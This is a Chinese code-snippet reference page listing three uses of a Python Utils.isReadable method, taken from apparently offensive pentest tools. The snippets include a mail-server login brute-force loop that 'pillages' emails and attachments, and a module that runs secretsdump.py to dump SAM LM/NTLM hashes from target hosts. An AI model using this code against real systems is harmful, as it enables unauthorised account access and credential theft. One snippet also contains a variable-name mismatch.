当前位置: 首页>>代码示例>>Python>>正文


Python Utils.isReadable方法代码示例

本文整理汇总了Python中core.utils.Utils.isReadable方法的典型用法代码示例。如果您正苦于以下问题:Python Utils.isReadable方法的具体用法?Python Utils.isReadable怎么用?Python Utils.isReadable使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在core.utils.Utils的用法示例。


在下文中一共展示了Utils.isReadable方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: run

# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import isReadable [as 别名]
    def run(self, argv):
        # load config
        self.parse_parameters(argv)
        self.load_config()

        # validate that all necessary flags/configs were set

        # if single username and password
        if (self.config["username"] and self.config["password"]):
            mp.pillage(username=self.config["username"], password=self.config["password"], server=self.config["server"], servertype=self.config["servertype"], domain=self.config["domain"])
        # if seperate username and password files
        elif (Utils.isReadable(self.config["usernamefile"]) and Utils.isReadable(self.config["passwordfile"])):
            usernames = list()
            passwords = list()
            with open(self.config["usernamefile"]) as f:
                usernames = f.read().splitlines()
            with open(self.config["passwordfile"]) as f:
                passwords = f.read().splitlines()
            for u in usernames:
                for p in passwords:
                    mp.pillage(username=u, password=p, server=self.config["server"], port=int(self.config["serverport"]), domain=self.config["domain"])
        elif Utils.isReadable(self.config["usernamepasswordfile"]):
        # if a combined username password file
            usernames = list()
            with open(self.config["usernamepasswordfile"]) as f:
                usernamespasswords = f.read().splitlines()
            for temp in usernamepasswords:
                (u, p) = temp.split(":", 1)
                mp.pillage(username=u, password=p, server=self.config["server"], port=int(self.config["serverport"]), domain=self.config["domain"])
开发者ID:psuedoelastic,项目名称:MailPillage,代码行数:31,代码来源:mailpillager.py

示例2: process

# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import isReadable [as 别名]
    def process(self):
        # load any targets we are interested in
        self.getTargets()

        # loop over each target
        for t in self.targets:
            users = self.getUsers(t)
            self.display.verbose(self.shortName + " - Connecting to " + t)
            for user in users:
                # verify we have not tested this host before
                if not self.seentarget(t + str(user)):
                    # add the new IP to the already seen list
                    self.addseentarget(t + str(user))

                    passwords = kb.get(['creds/host/' + t + '/username/' + user + '/password'])
                    for password in passwords:
                        self.display.verbose(self.shortName + " - Connecting to " + t)

                        # make outfile
                        temp_file = self.config[
                                        "proofsDir"] + self.shortName + "_" + t + "_" + user + "_" + Utils.getRandStr(
                            10)

                        # run secretesdump.py
                        command = self.config["secretsdump.py"] + " -outputfile " + temp_file + " \"" + user + "\":\"" + password + \
                                  "\"@" + t
                        result = Utils.execWait(command, None)

                        if Utils.isReadable(temp_file + '.sam'): 
                            with open (temp_file + '.sam', "r") as myfile:
                                result=myfile.readlines()

                            for line in result:
                                m = line.split(':')
                                user = m[0].strip()
                                uid = m[1].strip()
                                lmhash = m[2].strip()
                                ntlmhash = m[3].strip()

                                kb.add("creds/host/" + t + "/username/" + user + "/lmhash/" + lmhash)
                                kb.add("creds/host/" + t + "/username/" + user + "/ntlmhash/" + ntlmhash)
                                kb.add("creds/host/" + t + "/username/" + user + "/fullhash/" + lmhash + ":" + ntlmhash)
                                self.fire("newNTLMHash")
        return
开发者ID:MooseDojo,项目名称:apt2,代码行数:46,代码来源:post_impacketsecretsdump.py

示例3: parse_parameters

# 需要导入模块: from core.utils import Utils [as 别名]
# 或者: from core.utils.Utils import isReadable [as 别名]

#.........这里部分代码省略.........
                            help="download any identified emails?")
        enablegroup.add_argument("--attachments",
                            dest="downloadattachments",
                            action='store_true',
                            help="download any identified attachments?")
        enablegroup.add_argument("--contacts",
                            dest="buildcontactlist",
                            action='store_true',
                            help="collect contact list?")

        #==================================================
        # Other Args
        #==================================================
        parser.add_argument("-s",
                            metavar="<server>",
                            dest="server",
                            default="",
                            action='store',
                            help="target mail server ip or fqdn")
        parser.add_argument("-t",
                            metavar="<type of mail server>",
                            dest="servertype",
                            default="",
                            action='store',
                            help="valid choices are: IMAP, IMAPS, POP3, POP3S, OWA, EWS")
        parser.add_argument("-d",
                            metavar="<domain>",
                            dest="domain",
                            action='store',
                            help="domain name to phish")
        parser.add_argument("-u",
                            metavar="<username>",
                            dest="username",
                            action='store',
                            help="username")
        parser.add_argument("-p",
                            metavar="<password>",
                            dest="password",
                            action='store',
                            help="password")
        parser.add_argument("--searchstring",
                            metavar="\"term1,term2,term3,...\"",
                            dest="searchstring",
                            action='store',
                            help="list of search terms seperated by commas")
        parser.add_argument("-o",
                            metavar="<output directory>",
                            dest="outdir",
                            action='store',
                            help="directory to which to save any loot")
        parser.add_argument("-v", "--verbosity",
                            dest="verbose",
                            action='count',
                            help="increase output verbosity")

        # parse args
        args = parser.parse_args()

        # convert parameters to values in the config dict
        self.config["verbose"] = args.verbose
        self.config["downloadattachments"] = args.downloadattachments
        self.config["downloademails"] = args.downloademails
        self.config["buildcontactlist"] = args.buildcontactlist
        self.config["searchstringfile"] = args.searchstringfile
        self.config["searchstring"] = args.searchstring
        self.config["server"] = args.server
        self.config["servertype"] = args.servertype
        self.config["domain"] = args.domain
        self.config["username"] = args.username
        self.config["usernamefile"] = args.usernamefile
        self.config["password"] = args.password
        self.config["passwordfile"] = args.passwordfile
        self.config["usernamepasswordfile"] = args.usernamepasswordfile
        if args.outdir:
            self.config["outdir"] = args.outdir

        if self.config["searchstring"]:
            self.config["searchterms"] = self.config["searchstring"].split(",")

        if Utils.isReadable(self.config["searchstringfile"]):
            with open(self.config["searchstringfile"]) as f:
                self.config["searchterms"] = f.read().splitlines()

        # validate we have required fields
        valid = True
        if (self.config["username"] and self.config["password"]) or (Utils.isReadable(self.config["usernamefile"]) and Utils.isReadable(self.config["passwordfile"])) or (Utils.isReadable(self.config["usernamepasswordfile"])):
            pass
        else:
            self.display.error("Please enable at least one of the following parameters: --COMBINED or (-U and -P) or (-u and -p)")
            valid = False
        if (self.config["server"] and self.config["servertype"]):
            self.config["servertype"] = self.config["servertype"].lower()
            pass
        else:
            self.display.error("Please enable at both of: -s and -t")
            valid = False

        if not valid:
            parser.print_help()
            sys.exit(1)
开发者ID:psuedoelastic,项目名称:MailPillage,代码行数:104,代码来源:mailpillager.py


注:本文中的core.utils.Utils.isReadable方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。